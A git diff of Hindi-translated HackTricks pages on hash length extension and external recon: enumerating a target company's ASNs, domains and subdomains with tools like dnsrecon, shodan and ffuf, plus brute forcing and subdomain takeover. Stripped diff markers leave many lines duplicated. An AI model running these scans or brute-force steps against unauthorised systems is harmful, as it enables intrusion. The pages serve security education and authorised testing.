फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
यदि एक हमलावर स्ट्रिंग "append" को जोड़ना चाहता है, तो वह कर सकता है:
- 64 "A"s का MD5 जनरेट करें
- 64 "A"s का MD5 उत्पन्न करें
- पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें
- "append" स्ट्रिंग को जोड़ें
- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **मान्य** होगा
- स्ट्रिंग "append" जोड़ें
- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा
## **उपकरण**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## संदर्भ
आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं
आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,8 +4,12 @@
यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Assets discoveries
> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
@ -20,14 +19,14 @@
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलो उनके संपत्तियों को खोजने का तरीका पता करते हैं।
### **ASNs**
एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\
एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है।
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट्स** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ एक **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
आप कंपनी के **नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर **खोज** कर सकते हैं।\
**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है।
```bash
@ -58,14 +57,14 @@ bbot -t tesla.com -f subdomain-enum
### **कमजोरियों की तलाश**
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।**\
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **लॉन्च कर सकते हैं** या **खुले पोर्ट खोजने के लिए** shodan **जैसी सेवाओं का उपयोग कर सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।\
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
## डोमेन
> हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है।
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_
_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम करके नहीं आंका जाना चाहिए।_
सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
@ -78,12 +77,12 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
इसक काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\
इसक काम करने के लिए, व्यवस्थापक को मैन्युअल रूप से PTR सक्षम करना होगा।\
आप इस जानकारी के लिए एक ऑनलाइन टूल भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com)
### **Reverse Whois (loop)**
एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर आदि पा सकते हैं... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\
एक **whois** के अंदर आप बहुत सारी दिलचस्प **जानकारी** जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर आदि पा सकते हैं... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\
आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त**
@ -94,14 +93,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - मुफ्त नहीं (केवल **100 मुफ्त** खोजें)
- [https://www.domainiq.com/](https://www.domainiq.com) - मुफ्त नहीं
आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink) का उपयोग करके स्वचालित कर सकते हैं (एक whoxy API कुंजी की आवश्यकता होती है)।\
आप इस कार्य को [**DomLink** ](https://github.com/vysecurity/DomLink)(एक whoxy API कुंजी की आवश्यकता) का उपयोग करके स्वचालित कर सकते हैं।\
आप [amass](https://github.com/OWASP/Amass) के साथ कुछ स्वचालित रिवर्स Whois खोज भी कर सकते हैं: `amass intel -d tesla.com -whois`
**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने पर अधिक डोमेन नाम खोजने के लिए कर सकते हैं।**
### **Trackers**
यदि आप 2 विभिन्न पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\
यदि आप 2 अलग-अलग पृष्ठों में **एक ही ट्रैकर का एक ही ID** पाते हैं, तो आप मान सकते हैं कि **दोनों पृष्ठ** **एक ही टीम द्वारा प्रबंधित** हैं।\
उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं।
कुछ पृष्ठ और उपकरण हैं जो आपको इन ट्रैकर्स और अधिक द्वारा खोजने की अनुमति देते हैं:
@ -119,11 +118,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - समान favicon आइकन हैश वाले डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - समान favicon आइकन हैश के साथ डोमेन खोजें](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
सरल शब्दों में, favihash हमें उन डोमेनों को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है।
सरल शब्दों में, favihash हमें उन डोमेन को खोजने की अनुमति देगा जिनका हमारे लक्ष्य के समान favicon आइकन हैश है।
इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को **खोज सकते हैं**:
इसके अलावा, आप favicon हैश का उपयोग करके तकनीकों की भी खोज कर सकते हैं जैसा कि [**इस ब्लॉग पोस्ट**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) में समझाया गया है। इसका मतलब है कि यदि आप जानते हैं कि **एक कमजोर वेब तकनीक के favicon का हैश** क्या है, तो आप शोडन में खोज सकते हैं और **अधिक कमजोर स्थानों** को खोज सकते हैं:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -151,18 +150,18 @@ return fhash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन खोजे**।\
सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन को खोजा जा सके**।\
इस [**लेख को अधिक जानकारी के लिए देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)।
### मेल DMARC जानकारी
आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसी वेबसाइट या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं।
आप [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) जैसे वेब या [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) जैसे टूल का उपयोग करके **डोमेन और उपडोमेन जो समान DMARC जानकारी साझा करते हैं** खोज सकते हैं।
### **पैसिव टेकओवर**
स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं के IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM उत्पन्न करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**
[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM उत्पन्न करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं।
[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी बताती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM उत्पन्न करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं।
### **अन्य तरीके**
@ -170,29 +169,29 @@ return fhash
**Shodan**
जैसा कि आप पहले से ही जानते हैं कि IP स्पेस का स्वामित्व करने वाले संगठन का नाम। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें।
जैसा कि आप पहले से ही IP स्पेस के मालिक संगठन का नाम जानते हैं। आप उस डेटा को शोडन में खोज सकते हैं: `org:"Tesla, Inc."` TLS प्रमाणपत्र में नए अप्रत्याशित डोमेन के लिए पाए गए होस्ट की जांच करें।
आप मुख्य वेब पृष्ठ का **TLS प्रमाणपत्र** एक्सेस कर सकते हैं, **संगठन का नाम** प्राप्त कर सकते हैं और फिर उस नाम को **shodan** द्वारा ज्ञात सभी वेब पृष्ठों के **TLS प्रमाणपत्रों** के अंदर खोज सकते हैं जिसमें फ़िल्टर है: `ssl:"Tesla Motors"` या [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) जैसे टूल का उपयोग करें।
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत।
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) एक टूल है जो **मुख्य डोमेन से संबंधित डोमेन** और उनके **उपडोमेन** की खोज करता है, काफी अद्भुत।
### **कमजोरियों की खोज**
कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें।
यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से नहीं है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में कुछ तरकीबें "हमले" करने के लिए** खोज सकते हैं।\
यदि आप किसी **डोमेन को एक IP के साथ पाते हैं जो पहले से खोजे गए संपत्तियों में से अलग है**, तो आपको एक **बुनियादी कमजोरियों का स्कैन** (Nessus या OpenVAS का उपयोग करके) और कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** के साथ करना चाहिए। यह निर्भर करता है कि कौन से सेवाएँ चल रही हैं, आप **इस पुस्तक में "हमला" करने के लिए कुछ तरकीबें** खोज सकते हैं।\
&#xNAN;_&#x4E;ote कि कभी-कभी डोमेन एक IP के अंदर होस्ट किया जाता है जो ग्राहक द्वारा नियंत्रित नहीं होता है, इसलिए यह दायरे में नहीं है, सावधान रहें।_
## उपडोमेन
> हम सभी कंपनियों को दायरे में जानते हैं, प्रत्येक कंपनी की सभी संपत्तियों और कंपनियों से संबंधित सभी डोमेन को जानते हैं
> हम सभी कंपनियों को जानते हैं जो दायरे में हैं, प्रत्येक कंपनी की सभी संपत्तियाँ और कंपनियों से संबंधित सभी डोमेन।
यह समय है कि प्रत्येक पाए गए डोमेन के सभी संभावित उपडोमेन खोजें।
> [!TIP]
> ध्यान दें कि कुछ उपकरण और तकनीकें जो डोमेन खोजने के लिए हैं, उपडोमेन खोजने में भी मदद कर सकती हैं।
> ध्यान दें कि कुछ उपकरण और तकनीकें जो डोमेन खोजने के लिए उपयोग की जाती हैं, उपडोमेन खोजने में भी मदद कर सकती हैं।
### **DNS**
@ -251,9 +250,9 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
अन्य **दिलचस्प उपकरण/APIs** हैं जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं होने के बावजूद उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे:
कुछ **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं हैं, फिर भी उपडोमेन खोजने के लिए उपयोगी हो सकते हैं, जैसे:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** उपडोमेन प्राप्त करने के लिए एपीआई [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करता है
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -288,7 +287,7 @@ crt tesla.com
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं।
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): वे वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं।
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -316,9 +315,9 @@ python3 DomainTrail.py -d example.com
- [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या यहां तक कि इस प्रोजेक्ट द्वारा उपयोग किए गए स्कोप को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
आप यहां इन उपकरणों की **तुलना** पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
आप इन उपकरणों की **तुलना** यहां पा सकते हैं: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **DNS ब्रूट फोर्स**
@ -332,7 +331,7 @@ python3 DomainTrail.py -d example.com
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
और अच्छे DNS रिसोल्वर्स के IPs भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
और अच्छे DNS रिसोल्वर्स के IP भी। विश्वसनीय DNS रिसोल्वर्स की एक सूची बनाने के लिए आप [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) से रिसोल्वर्स डाउनलोड कर सकते हैं और उन्हें फ़िल्टर करने के लिए [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) का उपयोग कर सकते हैं। या आप उपयोग कर सकते हैं: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
DNS ब्रूट-फोर्स के लिए सबसे अनुशंसित उपकरण हैं:
@ -376,12 +375,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): उपडोमेन संयोजनों को उत्पन्न करने के अलावा, यह उन्हें हल करने की भी कोशिश कर सकता है (लेकिन पहले टिप्पणी किए गए उपकरणों का उपयोग करना बेहतर है)।
- आप [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) altdns संयोजन **शब्दसूची** प्राप्त कर सकते हैं।
- आप altdns संयोजन **शब्दसूची** [**यहां**](https://github.com/infosec-au/altdns/blob/master/words.txt) प्राप्त कर सकते हैं।
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
- [**dmut**](https://github.com/bp0lr/dmut): उपडोमेन के संयोजन, उत्परिवर्तन और परिवर्तन करने के लिए एक और उपकरण। यह उपकरण परिणाम को ब्रूट फोर्स करेगा (यह dns वाइल्ड कार्ड का समर्थन नहीं करता)।
- आप dmut संयोजन शब्द सूची [**यहाँ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) प्राप्त कर सकते हैं।
- आप [**यहां**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) dmut संयोजन शब्द सूची प्राप्त कर सकते हैं।
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@ -396,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक सबडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके।
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ एक उपडोमेन ब्रूट-फोर्स फज़्ज़र है जो एक अत्यंत सरल लेकिन प्रभावी DNS प्रतिक्रिया-निर्देशित एल्गोरिदम के साथ जुड़ा हुआ है। यह एक प्रदान किए गए इनपुट डेटा सेट का उपयोग करता है, जैसे कि एक अनुकूलित शब्द सूची या ऐतिहासिक DNS/TLS रिकॉर्ड, ताकि अधिक संबंधित डोमेन नामों को सटीक रूप से संश्लेषित किया जा सके और DNS स्कैन के दौरान एकत्रित जानकारी के आधार पर उन्हें और भी आगे बढ़ाया जा सके।
```
echo www | subzuf facebook.com
```
@ -404,13 +403,17 @@ echo www | subzuf facebook.com
चेक करें इस ब्लॉग पोस्ट को जो मैंने लिखा है कि कैसे **सबडोमेन खोज को स्वचालित करें** एक डोमेन से **Trickest कार्यप्रवाह** का उपयोग करके ताकि मुझे अपने कंप्यूटर में कई टूल मैन्युअल रूप से लॉन्च करने की आवश्यकता न हो:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / वर्चुअल होस्ट**
यदि आपने एक IP पता पाया है जिसमें **एक या कई वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
यदि आपने एक IP पता पाया है जिसमें **एक या एक से अधिक वेब पृष्ठ** सबडोमेन से संबंधित हैं, तो आप **उस IP में वेब के साथ अन्य सबडोमेन खोजने** की कोशिश कर सकते हैं **OSINT स्रोतों** में IP में डोमेन के लिए देखने या **उस IP में VHost डोमेन नामों को ब्रूट-फोर्स करके**
#### OSINT
@ -437,31 +440,31 @@ VHostScan -t example.com
### **CORS Brute Force**
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** को **खोज** सकते हैं।
कभी-कभी आप ऐसी पृष्ठों को पाएंगे जो केवल _**Access-Control-Allow-Origin**_ हेडर को लौटाते हैं जब _**Origin**_ हेडर में एक मान्य डोमेन/सबडोमेन सेट किया गया हो। इन परिदृश्यों में, आप इस व्यवहार का दुरुपयोग करके **नए** **सबडोमेन** **खोज** सकते हैं।
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **बकेट्स ब्रूट फोर्स**
जब आप **सबडोमेन** की तलाश कर रहे हों, तो देखें कि क्या यह किसी प्रकार के **बकेट** की ओर **इशारा** कर रहा है, और इस मामले में [**अनुमतियों की जांच करें**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
